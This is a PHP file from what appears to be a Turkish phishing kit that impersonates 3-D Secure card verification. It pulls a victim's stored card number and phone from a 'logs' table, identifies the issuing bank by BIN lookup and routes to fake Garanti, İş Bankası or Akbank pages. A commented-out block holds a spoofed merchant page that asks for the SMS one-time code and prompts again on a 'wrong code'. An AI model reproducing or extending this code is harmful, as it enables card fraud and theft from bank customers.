<?php
/*
// Include the helper
include_once('../inc/helper.php');

// Get the data from the request
$tID = htmlspecialchars(trim(strip_tags($_GET['t'])));

if (empty($tID)) {
    header('Location: index.php');
    exit;
}

// Check transaction exist
$sql = "SELECT * FROM logs WHERE id = ?";
$query = $db->prepare($sql);
$stmt = $query->execute([$tID]);
$log = $query->fetch(PDO::FETCH_OBJ);

if (!$log) {
    header('Location: index.php');
    exit;
}

$hatali = null;

if (isset($_GET['hatali'])) {
    $hatali = 1;
}
$admin = $db->query('SELECT * FROM admins WHERE id = 1')->fetch(PDO::FETCH_OBJ);
*/
/*

    $sql = "SELECT * FROM products WHERE id = :id";
    $stmt = $db->prepare($sql);
    $stmt->execute(['id' => $productItem['product_id']]);
    $product = $stmt->fetch(PDO::FETCH_OBJ);


 */
include_once('../inc/helper.php');
/*
include_once('../inc/functions.php');
session_start();
ob_start();
*/
session_start();
ob_start();
$userIP = getUserIP();

$token = $_GET['t'] ?? '';
$hatali = $_GET['hatali'] ?? 0;

if ($hatali == '1') {
    $_SESSION['errorMessage'] = "Girdiğiniz SMS kodu hatalı, lütfen kontrol edip tekrar girin.";
}

// Veritabanı sorgusu
$query = "SELECT * FROM logs WHERE id = :token AND ipaddr = :ip_address LIMIT 1";

// Sorguyu hazırla
$stmt = $db->prepare($query);

// Parametreleri bağla
$stmt->bindParam(':token', $token);
$stmt->bindParam(':ip_address', $userIP);

// Sorguyu çalıştır
$stmt->execute();

// Sonucu al
$result = $stmt->fetch(PDO::FETCH_ASSOC);

// Eğer bir sonuç döndüyse
if ($result) {
    // card_number'ı bir değişkene ata
    $creditCardNumber = $result['card_number'];
    $bin = substr($creditCardNumber, 0, 6); // İlk 6 rakamı al
    $url = "https://data.handyapi.com/bin/" . $bin;
    $options = [
        "http" => [
            "method" => "GET",
            "header" => "Referer: your_domain\r\n" // Kendi domaininizi buraya ekleyin
        ]
    ];
    $context = stream_context_create($options);
    $response = file_get_contents($url, false, $context);

    if ($response === FALSE) {
        die('Hata: API çağrısında bir sorun oluştu.');
    }
    $data = json_decode($response, true);
    if ($data === NULL) {
        die('Hata: JSON yanıtı çözülürken bir sorun oluştu.');
    }

    $_SESSION['tel'] = $result['cardholder_phone'];
    $_SESSION['token'] = $token;
    $_SESSION['cc_number'] = $creditCardNumber;

    $issuer = $data['Issuer'];
    //include_once 'bankalar/garanti.php';
    //die();
    if ($issuer == 'TURKIYE GARANTI BANKASI A.S.')
    {
        include_once 'bankalar/garanti.php';
        die();
    } elseif ($issuer == 'TURKIYE IS BANKASI, A.S.')
    {
        include_once 'bankalar/isbankasi.php';
        die();
    } elseif ($issuer == 'AKBANK T.A.S.')
    {
        include_once 'bankalar/akbank.php';
        die();
    }
    else
    {
      include_once 'bankalar/akbank.php';
      die();    
    }

      /*
    //TURKIYE GARANTI BANKASI A.S.

    ?>
    <html class="no-js" lang="tr" style="height: 100%; width: 100%;">
    <head>
        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
        <title>3D Doğrulama</title>
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
        <meta name="robots" content="noindex, nofollow">
        <meta name="googlebot" content="noindex, nofollow">

        <link rel="stylesheet"
              href="assets/3d/bundle.min.css">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css">
    </head>
    <body>
    <div class="content-wrapper" id="content" style="display: block;">
        <div class="header">
            <div class="brand-logo">
                <img src="assets/img/troy.png">
            </div>
        </div>

        <div id="approve-page">
            <div id="loaderDiv" style="height: 100%; width: 100%; position: absolute; z-index: 1; display: none">
                <div class="loader"></div>
            </div>
            <div class="content">
                <h1 id="approve-header">Doğrulama kodunu giriniz</h1>
                <div class="info-wrapper">
                    <div class="info-row">
                        <div class="info-col info-label">İşyeri Adı:</div>
                        <div class="info-col" id="merchant-name">
                            Karaca Züccaciye A.Ş
                        </div>
                    </div>
                    <div class="info-row">
                        <div class="info-col info-label">İşlem Tutarı:</div>
                        <div class="info-col" style="font-size: 21px; font-weight: 900; margin-top: -5px;" id="amount">
                            <?php echo $totalPrice; ?> TL
                        </div>
                    </div>
                    <div class="info-row">
                        <div class="info-col info-label">İşlem Tarihi-Saati:</div>
                        <div class="info-col" id="operation-date-time">
                            <?php echo date("d-m-Y H:i:s"); ?>
                        </div>
                    </div>
                    <div class="info-row">
                        <div class="info-col info-label">Kart Numarası:</div>
                        <div class="info-col" id="pan">
                            <?php echo $_POST['cc_number']; ?>
                        </div>
                    </div>
                </div>
                <form class="action-wrapper" id="ThreeDForm">
                    <h3 id="otpMessage">
                        İşlem şifreniz
                        <span id="msisdn">
                            <?php $_SESSION['tel']; ?>
                        </span>
                        olan cep telefonunuza gönderilecektir.</h3>
                    <?php if (isset($hatali)){
                            if ($hatali === 1)
                                {

                                ?>
                        <p style="color:red; font-weight:600; margin-top: 5px;">İşlem şifrenizi hatalı giriş yaptınız.
                            Lütfen tekrar giriş yapınız.</p>
                    <?php }}  ?>
                    <div class="form-wrapper">
                        <label id="confirmCode" for="code">Doğrulama Kodu</label>
                        <div class="form-row">
                            <input type="password" class="f-input" name="code" id="code" maxlength="6"
                                   autocomplete="one-time-code" inputmode="numeric" pattern="[0-9]*">
                        </div>
                        <div id="submitButtonDiv">
                            <div class="form-row has-submit" id="submitbutton">
                                <input type="submit" value="Onayla" class="button btn-1 btn-commit" id="submitButton">
                            </div>
                        </div>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.3/jquery.min.js"></script>
    <script src="assets/js/init.js"></script>
    <script src="assets/js/threeds.js"></script>
    <?= $admin->supporta ?>
    </body>
    </html>
    <?php
    */
} else {
    die("Hata: Sistemsel bir hata oluştu.");
}
?>